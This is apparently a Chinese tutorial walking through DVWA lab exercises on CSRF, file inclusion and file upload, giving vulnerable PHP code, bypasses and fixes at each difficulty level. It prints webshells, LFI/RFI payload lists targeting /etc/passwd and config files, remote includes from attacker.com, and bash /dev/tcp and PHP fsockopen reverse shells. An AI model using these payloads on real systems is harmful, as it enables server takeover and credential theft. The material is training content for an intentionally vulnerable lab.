setcookie('session', $value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // 只通过HTTPS传输
    'httponly' => true,    // 禁止JavaScript访问
    'samesite' => 'Strict' // 防止CSRF
]);

SameSite属性值：

Strict - 完全禁止第三方请求发送Cookie
Lax - GET请求可以，POST请求不行
None - 允许（需配合Secure使用）

4. 验证关键操作密码

// 对于敏感操作，要求输入当前密码
if (md5($_POST['current_password']) !== $user['password']) {
    die('Current password incorrect');
}

5. 使用POST而非GET

// 所有状态修改操作使用POST
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die('Method not allowed');
}

框架层面

Laravel示例

// Laravel自动提供CSRF保护
// 在表单中添加
@csrf

// 或
"hidden" name="_token" value="{{ csrf_token() }}">

// 验证（自动）
// Laravel会自动验证所有POST/PUT/DELETE请求的CSRF token

Django示例

# settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
]

# 模板中
{% csrf_token %}

# 验证（自动）
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def my_view(request):
    ...

架构层面

双重提交Cookie模式

1
2
3

- 在Cookie中设置token
- 在请求参数中也提交token
- 服务器对比两者是否一致

自定义请求头

// 使用AJAX时添加自定义头
fetch(url, {
    method: 'POST',
    headers: {
        'X-CSRF-Token': token,
        'X-Requested-With': 'XMLHttpRequest'
    }
});

验证码（重要操作）
- 修改密码
- 转账
- 删除数据

总结对比

特性	Low	Medium	High	Impossible
请求方法	GET	GET	GET	POST
CSRF Token	❌	❌	✅	✅
Referer检查	❌	✅（弱）	❌	❌
验证当前密码	❌	❌	❌	✅
SameSite Cookie	❌	❌	❌	可选
攻击难度	极易	简单	中等	极难
绕过方法	直接攻击	文件名trick	XSS+CSRF	几乎不可能

实战建议

学习路径：

Low难度 - 理解CSRF基本原理
Medium难度 - 学习Referer绕过
High难度 - 理解Token机制
Impossible难度 - 掌握完善的防御

常用攻击向量：


<img src="目标URL">
<script src="目标URL">script>
<iframe src="目标URL">iframe>
<link rel="stylesheet" href="目标URL">


<form action="目标URL" method="POST" id="csrf">
    <input name="param" value="value">
form>
<script>document.getElementById('csrf').submit();script>

防御检查清单：

所有状态修改操作使用POST
实施CSRF Token验证
设置SameSite Cookie属性
重要操作验证当前密码
添加验证码（可选）
检查Referer（辅助）
使用HTTPS
定期更新token

道德准则：

只在授权环境测试
不攻击真实用户
理解攻击是为了更好防御

DVWA - File Inclusion (文件包含) 攻防练习详解

2025-11-20T15:31:37.109Z

漏洞简介

什么是文件包含（File Inclusion）？

文件包含漏洞允许攻击者通过Web应用程序包含和执行任意文件。分为本地文件包含（LFI）和远程文件包含（RFI）两种。

本地文件包含（LFI - Local File Inclusion）：

包含服务器上的本地文件
读取敏感文件（/etc/passwd, config.php等）
结合文件上传获取WebShell

远程文件包含（RFI - Remote File Inclusion）：

包含远程服务器上的文件
直接执行远程恶意代码
获取WebShell

危害：

读取敏感文件（密码、配置文件）
执行任意PHP代码
获取WebShell
完全控制服务器
内网渗透

常见场景：

模板系统
多语言切换
动态包含页面

Low 难度

攻击目标

无任何过滤的文件包含，可直接利用。

后端代码分析



// 获取page参数
// $_GET['page'] - 从URL获取page参数
// 例如：?page=include.php
$file = $_GET[ 'page' ];

// ★★★ 危险操作：直接包含用户指定的文件 ★★★
// include() - PHP文件包含函数
// 作用：将指定文件的内容包含到当前脚本中并执行
//
// 问题：完全没有验证$file的值！
// 用户可以指定任意文件路径
// 如果文件包含PHP代码，会被直接执行
//
// 示例：
// ?page=file1.php - 正常包含
// ?page=../../etc/passwd - 读取系统文件
// ?page=http://evil.com/shell.php - 远程文件包含（需开启allow_url_include）
include( $file );

?>

漏洞分析

核心问题：

直接包含用户输入 - 没有任何验证
无路径限制 - 可以使用../目录遍历
无文件类型检查 - 可以包含任意文件
无白名单 - 接受任何文件名

攻击原理：

// 正常使用
?page=file1.php
include('file1.php');  // 包含file1.php

// 目录遍历
?page=../../etc/passwd
include('../../etc/passwd');  // 读取系统密码文件

// 远程包含（需要allow_url_include=On）
?page=http://evil.com/shell.php
include('http://evil.com/shell.php');  // 执行远程PHP代码

攻击步骤

步骤1：测试文件包含

测试1：包含其他页面

1
2
3

?page=file1.php
?page=file2.php
?page=file3.php

测试2：目录遍历

1
2
3

?page=../index.php
?page=../../config/config.inc.php
?page=../../../etc/passwd

步骤2：读取敏感文件（Linux）

读取/etc/passwd：

?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd

读取Apache配置：

1 2	?page=../../../../etc/apache2/apache2.conf ?page=../../../../etc/httpd/conf/httpd.conf

读取MySQL配置：

1 2	?page=../../../../etc/my.cnf ?page=../../../../etc/mysql/my.cnf

读取PHP配置：

1	?page=../../../../etc/php/7.4/apache2/php.ini

读取DVWA配置（包含数据库密码）：

1	?page=../../config/config.inc.php

步骤3：读取敏感文件（Windows）

读取系统文件：

1
2
3

?page=C:\\Windows\\System32\\drivers\\etc\\hosts
?page=C:\\Windows\\win.ini
?page=C:\\boot.ini

读取Web配置：

1 2	?page=C:\\xampp\\apache\\conf\\httpd.conf ?page=C:\\wamp\\bin\\apache\\apache2.4.9\\conf\\httpd.conf

步骤4：使用PHP伪协议

php://filter读取源码：


?page=php://filter/convert.base64-encode/resource=index.php

php://input执行代码（需要POST）：

POST /dvwa/vulnerabilities/fi/?page=php://input HTTP/1.1

 system('whoami'); ?>

data://执行代码：

?page=data://text/plain, system('whoami'); ?>


?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=

步骤5：远程文件包含（RFI）

前提条件：

php.ini中allow_url_include = On
php.ini中allow_url_fopen = On

创建恶意PHP文件（shell.php）：


// 简单的WebShell
system($_GET['cmd']);
?>

上传到攻击者服务器：

1	http://attacker.com/shell.php

包含远程文件：

1	?page=http://attacker.com/shell.php&cmd=whoami

反弹Shell：



// 反弹shell到攻击者
$sock = fsockopen("攻击者IP", 4444);
$proc = proc_open("/bin/sh", [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>


nc -lvp 4444


?page=http://attacker.com/shell.php

步骤6：日志注入（LFI转RCE）

原理：
将PHP代码写入日志文件，然后通过LFI包含日志文件执行。

步骤：

向User-Agent注入PHP代码

1
2
3

GET /dvwa/vulnerabilities/fi/ HTTP/1.1
Host: dvwa.local
User-Agent:

包含Apache访问日志

1	?page=../../../../var/log/apache2/access.log

结果：日志中的PHP代码被执行

其他可注入的日志：

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
/var/log/mail.log

步骤7：Session文件包含

PHP Session文件位置：

1
2
3

/var/lib/php/sessions/sess_{PHPSESSID}
/var/lib/php5/sess_{PHPSESSID}
/tmp/sess_{PHPSESSID}

攻击步骤：

在其他页面向Session写入恶意代码
包含Session文件执行代码



session_start();
$_SESSION['name'] = '';
?>


?page=../../../../tmp/sess_{你的PHPSESSID}

Medium 难度

攻击目标

添加了简单的过滤，但可以绕过。

后端代码分析



$file = $_GET[ 'page' ];

// ★★★ 新增：使用str_replace()过滤 ★★★
// str_replace() - 字符串替换函数
// 参数1：要查找的字符串数组
// 参数2：替换成的字符串
// 参数3：被搜索的字符串
// 返回值：替换后的字符串
//
// 这里过滤了：
// http:// - 防止远程文件包含
// https:// - 防止远程文件包含
//
// 问题：
// 1. 只过滤一次，可以双写绕过
// 2. 不过滤../，仍可目录遍历
// 3. 不过滤PHP伪协议
$file = str_replace( array( "http://", "https://" ), "", $file );

// 包含文件
include( $file );

?>

新增防护

过滤http:// - 防止RFI
过滤https:// - 防止HTTPS的RFI

仍存在的漏洞

只替换一次 - 可以双写绕过
不过滤../ - 目录遍历仍有效
不过滤PHP伪协议 - php://filter等仍可用
不过滤其他协议 - ftp://, data://等

绕过方法

方法1：目录遍历（仍然有效）

1 2	?page=../../../etc/passwd ?page=../../config/config.inc.php

方法2：双写绕过

原始：http://evil.com/shell.php
被过滤：evil.com/shell.php

绕过：hthttp://tp://evil.com/shell.php
处理过程：
1. str_replace('http://', '', 'hthttp://tp://evil.com/shell.php')
2. 结果：http://evil.com/shell.php
3. 绕过成功！

方法3：大小写混淆（无效）

1
2
3


?page=HTTP://evil.com/shell.php  ✗ (仍会被过滤)
?page=Http://evil.com/shell.php  ✗

方法4：使用PHP伪协议


?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input
?page=data://text/plain, system('whoami'); ?>

方法5：使用其他协议

1 2	?page=ftp://evil.com/shell.php ?page=file:///etc/passwd

High 难度

攻击目标

更严格的过滤，但仍可绕过。

后端代码分析



$file = $_GET[ 'page' ];

// ★★★ 新增：fnmatch()检查文件名 ★★★
// fnmatch() - 用模式匹配文件名
// 参数1：模式（通配符）
// 参数2：要检查的字符串
// 参数3：可选标志
// 返回值：匹配返回true，否则false
//
// 模式：file*.php
// file - 文件名必须以file开头
// * - 匹配任意字符
// .php - 必须以.php结尾
//
// 问题：
// 1. 只检查文件名格式，不检查路径
// 2. 仍可使用../进行目录遍历
// 3. 可以在file和.php之间插入任意内容
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

    // 不符合格式，返回
    echo "ERROR: File not found!";
    exit;
}

// 包含文件
include( $file );

?>

新增防护

fnmatch()检查 - 文件名必须以file开头

仍存在的漏洞

关键问题：

fnmatch("file*", $file)

// 检查：
"file1.php"        ✓ 匹配
"file2.php"        ✓ 匹配
"file../../../etc/passwd"  ✓ 仍然匹配！

fnmatch()只检查文件名模式，不限制路径！

绕过方法

方法1：目录遍历（仍有效）

1
2
3

?page=file../../../etc/passwd
?page=file../../../../etc/passwd
?page=file../../config/config.inc.php

原理：

输入：file../../../etc/passwd

fnmatch检查：
"file*" 匹配 "file../../../etc/passwd"  ✓

include执行：
include("file../../../etc/passwd");

实际路径：
当前目录/file../../../etc/passwd
= 当前目录/../../../etc/passwd
= /etc/passwd

成功读取！

方法2：结合NULL字节（PHP < 5.3.4）

?page=file1.php%00../../etc/passwd





注意：PHP 5.3.4+已修复此漏洞

Impossible 难度

攻击目标

使用白名单验证，真正安全。

后端代码分析



$file = $_GET[ 'page' ];

// ★★★ 核心防护：白名单验证 ★★★
// 定义允许的文件数组
// 只有在这个数组中的文件才能被包含
$allowed_files = array(
    'include.php',
    'file1.php',
    'file2.php',
    'file3.php'
);

// ★★★ 检查文件是否在白名单中 ★★★
// in_array() - 检查数组中是否存在某个值
// 参数1：要查找的值
// 参数2：数组
// 参数3：是否严格比较（可选）
// 返回值：存在返回true，否则false
//
// 作用：只允许白名单中的文件
// 任何不在列表中的文件都会被拒绝
if( !in_array( $file, $allowed_files ) ) {

    // 不在白名单中，拒绝
    echo "ERROR: File not found!";
    exit;
}

// ★★★ 白名单验证通过，安全包含 ★★★
include( $file );

?>

完善的防护机制

白名单工作原理：

允许的文件：
- include.php
- file1.php
- file2.php
- file3.php

用户输入：file1.php
in_array('file1.php', $allowed_files) → true ✓
include('file1.php') → 执行

用户输入：../../../etc/passwd
in_array('../../../etc/passwd', $allowed_files) → false ✗
拒绝！

用户输入：file1.php%00../../etc/passwd
in_array('file1.php%00../../etc/passwd', $allowed_files) → false ✗
拒绝！

为什么无法攻破？

所有攻击都被拒绝：

尝试1：../../../etc/passwd
in_array() → false
结果：ERROR: File not found!

尝试2：file../../../etc/passwd
in_array() → false
结果：ERROR: File not found!

尝试3：php://filter/...
in_array() → false
结果：ERROR: File not found!

尝试4：http://evil.com/shell.php
in_array() → false
结果：ERROR: File not found!

尝试5：data://...
in_array() → false
结果：ERROR: File not found!

关键防御点：

白名单机制 - 只允许明确列出的文件
完全匹配 - 必须完全相同，无法部分匹配
无路径解析 - 不解析../或其他路径操作
拒绝一切未知 - 默认拒绝策略

防御建议

代码层面

1. 使用白名单（最佳方案）

// 定义允许的文件
$whitelist = ['page1.php', 'page2.php', 'page3.php'];

// 验证
if (!in_array($_GET['page'], $whitelist)) {
    die('Invalid page');
}

include($_GET['page']);

2. 禁用危险功能

1
2
3

; php.ini配置
allow_url_fopen = Off    ; 禁止URL文件访问
allow_url_include = Off  ; 禁止URL文件包含

3. 使用basename()限制路径

// basename() - 返回路径中的文件名部分
// 去除目录路径
$file = basename($_GET['page']);

// 只会包含当前目录的文件
// ../../../etc/passwd → passwd
include($file . '.php');

4. 限制包含目录

// realpath() - 返回规范化的绝对路径
// 会解析../等符号
$base_dir = '/var/www/html/includes/';
$file = realpath($base_dir . $_GET['page']);

// 检查文件是否在允许的目录中
if (strpos($file, $base_dir) !== 0) {
    die('Access denied');
}

include($file);

5. 使用Switch语句

// 根据参数选择包含的文件
switch($_GET['page']) {
    case 'home':
        include('home.php');
        break;
    case 'about':
        include('about.php');
        break;
    case 'contact':
        include('contact.php');
        break;
    default:
        include('404.php');
}

系统层面

最小权限
- Web进程使用低权限用户（www-data）
- 限制可读文件

禁用危险函数

1 2	; php.ini disable_functions = system,exec,passthru,shell_exec,proc_open,popen

开启open_basedir

1 2	; 限制PHP访问的目录 open_basedir = /var/www/html/

监控层面

日志监控
- 记录所有include/require操作
- 检测../模式
WAF规则
- 检测../模式
- 检测php://、data://等伪协议
- 检测/etc/passwd等敏感文件

总结对比

特性	Low	Medium	High	Impossible
输入验证	❌	str_replace	fnmatch	白名单
过滤内容	无	http://, https://	无（只检查格式）	N/A
目录遍历	✓ 可行	✓ 可行	✓ 可行	✗ 不可行
RFI	✓ 可行	✓ 可绕过	✓ 可行	✗ 不可行
PHP伪协议	✓ 可行	✓ 可行	✓ 可行	✗ 不可行
攻击难度	极易	简单	简单	不可能

常用Payload集合

LFI（本地文件包含）


../../../etc/passwd
../../../../etc/passwd
../../../../../../etc/passwd


../../../windows/win.ini
C:\\Windows\\System32\\drivers\\etc\\hosts


../../../etc/shadow
../../../etc/my.cnf
../../config/config.inc.php
../../../var/log/apache2/access.log

RFI（远程文件包含）

1
2
3

http://evil.com/shell.php
https://evil.com/shell.txt
ftp://evil.com/shell.php

PHP伪协议


php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php


php://input  (需要POST数据)


data://text/plain, system('whoami'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=


expect://whoami

NULL字节绕过（PHP < 5.3.4）

1 2	file.php%00 ../../../etc/passwd%00

实战建议

学习路径：

Low难度 - 理解LFI和RFI原理
Medium难度 - 学习绕过str_replace
High难度 - 理解fnmatch绕过
Impossible难度 - 掌握白名单防御

攻击技巧：

从../开始，逐步增加层级
尝试各种PHP伪协议
结合日志注入
结合文件上传

工具推荐：

Burp Suite - 请求修改
LFISuite - 自动化LFI利用
Kadimus - LFI/RFI扫描

道德准则：

只在授权环境测试
不读取真实系统敏感文件
学习是为了防御，不是攻击

DVWA - File Upload (文件上传) 攻防练习详解

2025-11-20T15:31:37.109Z

漏洞简介

什么是文件上传漏洞（File Upload Vulnerability）？

文件上传漏洞是指Web应用程序没有对上传的文件进行严格验证，允许攻击者上传恶意文件并执行。

危害：

上传WebShell获取服务器控制权
上传病毒木马
覆盖重要文件
造成拒绝服务（上传大文件）
钓鱼攻击（上传假页面）
XSS攻击（上传HTML文件）

攻击流程：

上传恶意PHP文件（WebShell）
访问上传的文件
执行任意系统命令
完全控制服务器

常见场景：

头像上传
文档上传
图片上传
附件上传

Low 难度

攻击目标

无任何验证的文件上传，直接获取WebShell。

后端代码分析



// 检查是否提交了上传表单
// isset() - 检查变量是否存在
// $_POST['Upload'] - 上传按钮
if( isset( $_POST[ 'Upload' ] ) ) {

    // ★★★ 定义上传目录 ★★★
    // __DIR__ - 当前文件所在目录的绝对路径
    // DIRECTORY_SEPARATOR - 目录分隔符（Windows: \, Linux: /）
    // uploads/ - 上传文件存储目录
    $target_path  = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';

    // ★★★ 危险操作：直接使用用户上传的文件名 ★★★
    // basename() - 返回路径中的文件名部分
    // $_FILES['uploaded']['name'] - 用户上传文件的原始文件名
    //
    // 问题：
    // 1. 不检查文件扩展名（允许.php）
    // 2. 不检查文件内容
    // 3. 不检查MIME类型
    // 4. 不重命名文件
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // ★★★ 直接移动上传的文件到目标目录 ★★★
    // move_uploaded_file() - 将上传的文件移动到新位置
    // 参数1：$_FILES['uploaded']['tmp_name'] - 临时文件路径
    // 参数2：目标路径
    // 返回值：成功返回true，失败返回false
    //
    // $_FILES数组结构：
    // ['name']     - 原始文件名
    // ['type']     - MIME类型（客户端提供，不可信）
    // ['tmp_name'] - 服务器临时文件路径
    // ['error']    - 错误代码
    // ['size']     - 文件大小（字节）
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

        // 上传失败
        echo 'Your image was not uploaded.
';
    }
    else {

        // ★★★ 上传成功，显示文件路径 ★★★
        // 问题：直接显示路径，方便攻击者访问恶意文件
        echo "{$target_path} succesfully uploaded!
";
    }
}

?>

漏洞分析

核心问题：

无文件类型检查 - 允许上传.php文件
无文件内容检查 - 不验证文件实际内容
无MIME类型检查 - 不检查Content-Type
使用原始文件名 - 不重命名文件
暴露文件路径 - 显示上传路径

攻击流程：

1. 创建shell.php（WebShell）
2. 上传shell.php
3. 访问 uploads/shell.php
4. 执行系统命令
5. 完全控制服务器

攻击步骤

步骤1：创建简单WebShell

最简单的WebShell（shell.php）：


// 执行GET参数中的cmd命令
// system() - 执行系统命令并输出结果
system($_GET['cmd']);
?>

使用方法：

1
2
3

http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=whoami
http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=ls -la
http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=cat /etc/passwd

步骤2：创建功能完整的WebShell

一句话木马：

1	@eval($_POST['cmd']); ?>

使用中国菜刀、蚁剑等工具连接

完整WebShell（webshell.php）：


// 功能完整的WebShell
?>



    WebShell


    WebShell

    System Information
    
    OS:  echo PHP_OS; ?>
    PHP Version:  echo phpversion(); ?>
    Server:  echo $_SERVER['SERVER_SOFTWARE']; ?>
    Document Root:  echo $_SERVER['DOCUMENT_ROOT']; ?>
    Current User:  echo get_current_user(); ?>
    

    Command Execution
    "POST">
        "text" name="cmd" placeholder="Enter command" style="width:500px;">
        
    


    
    if(isset($_POST['cmd'])) {
        echo 'Output:
';
        echo '';
        system($_POST['cmd']);
        echo '
';
    }
    ?>

    File Manager
    "POST">
        "text" name="path" value="" style="width:500px;">
        
    


    
    if(isset($_POST['list'])) {
        $path = $_POST['path'];
        echo '';
        $files = scandir($path);
        foreach($files as $file) {
            echo $file . "\n";
        }
        echo '
';
    }
    ?>

步骤3：上传WebShell

在DVWA的File Upload页面
选择shell.php文件
点击Upload
记录显示的文件路径

步骤4：访问WebShell

1	http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=whoami

步骤5：执行系统命令

查看当前目录：

?cmd=pwd

列出文件：

1	?cmd=ls -la

读取敏感文件：

1 2	?cmd=cat /etc/passwd ?cmd=cat ../../config/config.inc.php

反弹Shell：

?cmd=bash -i >& /dev/tcp/攻击者IP/4444 0>&1

# 攻击者监听
nc -lvp 4444

步骤6：权限提升

查找SUID文件：

1	?cmd=find / -perm -4000 2>/dev/null

查看sudo权限：

1	?cmd=sudo -l

Medium 难度

攻击目标

添加了客户端和MIME类型检查，但可以绕过。

后端代码分析



if( isset( $_POST[ 'Upload' ] ) ) {

    $target_path  = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // ★★★ 新增：获取上传文件信息 ★★★
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];  // MIME类型（客户端提供）
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // ★★★ 新增：检查文件大小 ★★★
    // 限制文件大小为100KB
    if( ( $uploaded_size < 100000 ) &&

        // ★★★ 核心防护：检查MIME类型 ★★★
        // 只允许以下MIME类型：
        // image/jpeg - JPEG图片
        // image/png  - PNG图片
        //
        // 问题：MIME类型是客户端提供的，可以伪造！
        // $_FILES['uploaded']['type'] 来自HTTP请求头 Content-Type
        // 攻击者可以修改Content-Type欺骗服务器
        ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) ) {

        // 验证通过，上传文件
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            echo 'Your image was not uploaded.
';
        }
        else {
            echo "{$target_path} succesfully uploaded!
";
        }
    }
    else {
        // 验证失败
        echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
    }
}

?>

新增防护

文件大小检查 - 限制100KB
MIME类型检查 - 只允许image/jpeg和image/png

仍存在的漏洞

核心问题：

MIME类型（Content-Type）是客户端提供的，完全不可信！

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg  ← 这里可以随意修改！

 system($_GET['cmd']); ?>
------WebKitFormBoundary--

绕过方法

方法1：使用Burp Suite修改Content-Type

步骤：

准备shell.php文件
开启Burp Suite代理
在DVWA上传shell.php
Burp拦截请求
修改Content-Type

原始请求：

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

 system($_GET['cmd']); ?>
------WebKitFormBoundary--

修改后：

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg  ← 修改这里

 system($_GET['cmd']); ?>
------WebKitFormBoundary--

Forward请求
上传成功！
访问shell.php执行命令

方法2：使用文件头欺骗（图片马）

创建包含PHP代码的图片文件：

# 方法1：在图片末尾添加PHP代码
cat image.jpg shell.php > shell.jpg

# 方法2：使用exiftool添加
exiftool -Comment='' image.jpg

# 方法3：直接编辑
echo -e '\xFF\xD8\xFF\xE0' > shell.jpg

然后：

上传shell.jpg
结合文件包含漏洞访问

High 难度

攻击目标

检查文件扩展名和图片尺寸，更难绕过。

后端代码分析



if( isset( $_POST[ 'Upload' ] ) ) {

    $target_path  = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // ★★★ 新增：检查文件扩展名 ★★★
    // strtolower() - 转换为小写
    // pathinfo() - 返回文件路径的信息
    // PATHINFO_EXTENSION - 获取文件扩展名
    //
    // 例如：
    // shell.php → php
    // image.JPG → jpg（转小写）
    $uploaded_ext  = strtolower( pathinfo( $uploaded_name, PATHINFO_EXTENSION ) );

    // ★★★ 核心防护1：扩展名白名单 ★★★
    // 只允许jpg和jpeg扩展名
    if( ( $uploaded_ext == "jpg" || $uploaded_ext == "jpeg" ) &&

        // ★★★ 核心防护2：检查文件大小 ★★★
        ( $uploaded_size < 100000 ) &&

        // ★★★ 核心防护3：使用getimagesize()验证 ★★★
        // getimagesize() - 获取图像尺寸和类型
        // 参数：图片文件路径
        // 返回值：
        //   成功：数组 [0=>width, 1=>height, 2=>type, ...]
        //   失败：false
        //
        // 作用：
        // 1. 验证文件是否为有效图片
        // 2. 读取图片的实际内容（不是文件名或MIME类型）
        // 3. 如果不是图片，返回false
        //
        // 这是一个强大的防护，因为它检查文件实际内容
        getimagesize( $_FILES[ 'uploaded' ][ 'tmp_name' ] ) ) {

        // 所有验证通过
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            echo 'Your image was not uploaded.
';
        }
        else {
            echo "{$target_path} succesfully uploaded!
";
        }
    }
    else {
        echo 'Your image was not uploaded. We can only accept JPEG images.
';
    }
}

?>

新增防护

扩展名白名单 - 只允许.jpg和.jpeg
文件大小限制 - 100KB
getimagesize()验证 - 检查文件是否为真实图片

仍存在的漏洞

虽然防护很强，但仍有绕过方法：

关键点：

getimagesize()只验证文件是否为图片
不阻止图片中包含PHP代码
可以创建图片马（图片+PHP代码）

绕过方法

方法1：创建图片马

步骤1：准备合法图片

1 2	# 下载或创建一个jpg图片 wget http://example.com/image.jpg

步骤2：在图片中嵌入PHP代码

# 方法1：在图片末尾添加PHP代码
cat image.jpg > shell.jpg
echo '' >> shell.jpg

# 方法2：使用exiftool
exiftool -Comment='' image.jpg -o shell.jpg

# 方法3：使用十六进制编辑器
# 在图片文件末尾手动添加PHP代码

步骤3：上传图片马

上传shell.jpg
getimagesize()验证：通过（因为前面是合法图片）
扩展名检查：通过（.jpg）
上传成功！

步骤4：利用文件包含漏洞执行

# 需要结合文件包含漏洞
http://dvwa.local/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.jpg&cmd=whoami

# 或使用.htaccess（如果可以上传）

方法2：上传.htaccess

如果可以上传任意文件名（只检查扩展名），尝试上传.htaccess：

.htaccess内容：

# 将.jpg文件当作PHP执行
AddType application/x-httpd-php .jpg

# 或
"\.jpg$">
SetHandler application/x-httpd-php

攻击流程：

上传.htaccess（需要绕过扩展名检查）
上传包含PHP代码的shell.jpg
访问shell.jpg，Apache会将其作为PHP执行

方法3：双扩展名

某些配置下：

1 2	shell.php.jpg # 可能被当作PHP执行 shell.jpg.php # 可能绕过检查

Impossible 难度

攻击目标

完善的验证机制，真正安全。

后端代码分析



if( isset( $_POST[ 'Upload' ] ) ) {

    // ★★★ 改进1：验证Anti-CSRF token ★★★
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    $target_path  = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';

    // ★★★ 改进2：重命名文件（使用MD5） ★★★
    // md5() - 计算字符串的MD5哈希
    // uniqid() - 生成唯一ID
    // time() - 当前时间戳
    //
    // 组合生成唯一文件名，防止：
    // 1. 覆盖已有文件
    // 2. 猜测文件名
    // 3. 路径遍历
    $target_file =  md5( uniqid() . time() ) . '.' . strtolower( pathinfo( $_FILES[ 'uploaded' ][ 'name' ], PATHINFO_EXTENSION ) );
    $target_path .= $target_file;

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = strtolower( pathinfo( $uploaded_name, PATHINFO_EXTENSION ) );
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // ★★★ 验证1：扩展名白名单 ★★★
    if( ( $uploaded_ext == 'jpg' || $uploaded_ext == 'jpeg' || $uploaded_ext == 'png' ) &&

        // ★★★ 验证2：文件大小 ★★★
        ( $uploaded_size < 100000 ) &&

        // ★★★ 验证3：getimagesize()验证 ★★★
        getimagesize( $uploaded_tmp ) ) {

        // ★★★ 改进3：使用imagecreatefromjpeg()重新生成图片 ★★★
        // imagecreatefromjpeg() - 从JPEG文件创建图像
        // 作用：
        // 1. 重新渲染图片
        // 2. 移除图片中的PHP代码
        // 3. 只保留图片数据
        //
        // 原理：
        // PHP的GD库会重新渲染图片
        // 只保留图像数据，丢弃其他内容（包括恶意代码）
        if( $uploaded_ext == 'jpg' || $uploaded_ext == 'jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
        }
        elseif( $uploaded_ext == 'png' ) {
            // imagecreatefrompng() - 从PNG文件创建图像
            $img = imagecreatefrompng( $uploaded_tmp );
        }

        // ★★★ 改进4：保存重新渲染的图片 ★★★
        // imagejpeg() - 将图像输出到文件
        // 参数1：图像资源
        // 参数2：文件路径
        // 参数3：质量（0-100）
        //
        // 结果：
        // 1. 即使上传的图片包含PHP代码
        // 2. 重新渲染后，PHP代码被清除
        // 3. 只保存纯净的图片数据
        imagejpeg( $img, $target_path, 100 );

        echo "{$target_file} succesfully uploaded!
";
    }
    else {
        echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
    }
}

// 生成新的Anti-CSRF token
generateSessionToken();

?>

完善的防护机制

多层防御：

CSRF Token - 防止跨站请求伪造
文件重命名 - 使用MD5+时间戳，无法预测
扩展名白名单 - 只允许jpg, jpeg, png
文件大小限制 - 100KB
getimagesize()验证 - 确保是真实图片
图片重新渲染 - 使用GD库清除恶意代码

图片重新渲染原理：

输入：shell.jpg（包含PHP代码）

imagecreatefromjpeg()：
1. 读取图片的像素数据
2. 忽略其他所有内容（包括PHP代码）
3. 创建新的图像资源（只有像素数据）

imagejpeg()：
1. 将图像资源保存为JPEG文件
2. 只写入图片数据
3. PHP代码被完全清除

输出：纯净的图片（无恶意代码）

为什么无法攻破？

所有攻击都失败：

尝试1：上传shell.php
扩展名检查 → 失败（不是jpg/jpeg/png）

尝试2：上传shell.jpg（图片马）
getimagesize() → 通过（是有效图片）
imagecreatefromjpeg() → 重新渲染，移除PHP代码
最终文件 → 纯净的图片，无法执行PHP

尝试3：修改Content-Type
无效（服务器检查实际文件内容，不依赖Content-Type）

尝试4：双扩展名shell.php.jpg
扩展名检查 → pathinfo()只取最后的扩展名(.jpg)
重新渲染 → PHP代码被清除

关键防御点：

图片重新渲染是关键 - 即使上传成功，也无法执行PHP
文件重命名 - 无法预测文件路径
白名单机制 - 只允许已知安全的扩展名
多层验证 - 任何一层失败都会拒绝

防御建议

代码层面

1. 文件类型验证（多层验证）

// 1. 检查扩展名
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
